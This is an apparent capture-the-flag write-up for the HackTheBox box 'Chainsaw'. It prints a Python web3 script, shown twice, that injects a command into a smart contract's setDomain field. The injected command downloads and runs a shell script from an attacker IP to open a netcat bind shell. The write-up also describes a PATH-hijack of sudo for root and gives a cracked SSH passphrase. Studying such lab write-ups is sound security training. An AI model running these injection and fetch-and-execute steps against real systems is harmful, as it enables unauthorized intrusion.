Chainsaw was quite an interesting and difficult box involving some blockchain programming. After I finished the box, I found out that root could also be done with blockchain programming but I just hijacked the path to finish it up; you can check out some other writeups if you are interested in seeing that root method. Anyways, let us begin!
On the initial basic port scan, only a ftp port shows up and it has anonymous login enabled. Once you login in as anonymous, you see the following files: address.txt, WeaponizedPing.json, WeaponizedPing.sol
All of those files are related to Ethereum smart contracts. The following link has a great lesson on interacting with this blockchain using python3 and web3. On a more in depth massscan, I also found port 9810 open, in which I was able to interact with the blockchain. Moreover, the name of the files are called weaponized ping... this hints at the classic example of command injection with a ping program. It also contains a getDomain() and setDomain() function. This information will come in handy later.
First of all, web3 had to be used to connect to the Ethereum network and assign yourself the given address on the ftp server. The JSON file provides another important component: the smart contract (the defining feature of Ethereum) ABI. It basically describes how the smart contract works. Moreover, using the default account on the network is also fine in this instance.
Now, with all the setup finished, it is time for command injection. When calling the functions, do note the differences between call and transact. Call is read only while transact is write operation, which is what I want to do when I set the malicious domain on the blockchain. Anyways, afterwards, I just had the smart contract download a shellscript to open a bind shell on the box (with just the classic netcat method). Here is my final exploit for this stage:
from web3 import Web3
import json
import random
def formatEther(str):
return web3.fromWei(str, "ether")
infura_url = "http://chainsaw.htb:9810"
web3 = Web3(Web3.HTTPProvider(infura_url))
#check ethereum connection
print (web3.isConnected)
# check latest block
print(web3.eth.blockNumber)
#using the given address
with open('address.txt') as f:
address = f.readline()
address = address.split('\n')[0]
print(address)
# get account balance
balance = web3.eth.getBalance(address)
print(formatEther(balance)) #need this method cause ethereum special representation
#read smart account data
#need abi, json array, see from leaks from ftp
with open('WeaponizedPing.json', 'r') as f:
array = json.load(f)
abi = array["abi"]
print(abi)
web3.eth.defaultAccount = web3.eth.accounts[0] # use default account
contract = web3.eth.contract(address=address, abi=abi)
filename = str(random.randint(1,10000)) + ".sh"
exploit = "getowned.com; wget http://10.10.14.6/shell.sh -O /tmp/" + filename + " && chmod +x /tmp/" + filename + " && /tmp/" + filename
contract.functions.setDomain(exploit).transact() #RCE time
print(contract.functions.getDomain().call())
import json
import random
def formatEther(str):
return web3.fromWei(str, "ether")
infura_url = "http://chainsaw.htb:9810"
web3 = Web3(Web3.HTTPProvider(infura_url))
#check ethereum connection
print (web3.isConnected)
# check latest block
print(web3.eth.blockNumber)
#using the given address
with open('address.txt') as f:
address = f.readline()
address = address.split('\n')[0]
print(address)
# get account balance
balance = web3.eth.getBalance(address)
print(formatEther(balance)) #need this method cause ethereum special representation
#read smart account data
#need abi, json array, see from leaks from ftp
with open('WeaponizedPing.json', 'r') as f:
array = json.load(f)
abi = array["abi"]
print(abi)
web3.eth.defaultAccount = web3.eth.accounts[0] # use default account
contract = web3.eth.contract(address=address, abi=abi)
filename = str(random.randint(1,10000)) + ".sh"
exploit = "getowned.com; wget http://10.10.14.6/shell.sh -O /tmp/" + filename + " && chmod +x /tmp/" + filename + " && /tmp/" + filename
contract.functions.setDomain(exploit).transact() #RCE time
print(contract.functions.getDomain().call())
Afterwards, a bind shell will be opened and you can connect and pop tty shell with python. With some basic enumeration, you find that there is a user called bobby. Hunting around with grep for the name as a string, I come across this file: ./.ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data in the home directory of the current user (administrator).
Inside is a format of an email with some base64 encoding. Decoding the main parts gets me an encrypted ssh key file, which I can then crack. It turns out that Bobby's ssh key password is jackychain and I can then get user.
After extremely basic enumeration, I come across the ChainsawClub binary. With some simple reversing, I see a call to sudo. I also noticed that I could write to path. I downloaded the same bind shell script I used originally and renamed it to sudo. I then "export PATH=/home/bobby:$PATH" to prepend the home directory onto the path. Now, when I run ChainsawClub and the call occurs, it uses the "sudo" in the /home/bobby directory, which in turns opens a bind shell with root permissions.
However, upon connection and popping another tty shell, I actually have not reached the root flag. At this point, it is just a simple slack space problem in which blocks are only partially filled (the box even has bmap nicely installed).
bmap --mode slack root.txt
Running the command above will get us the real root flag!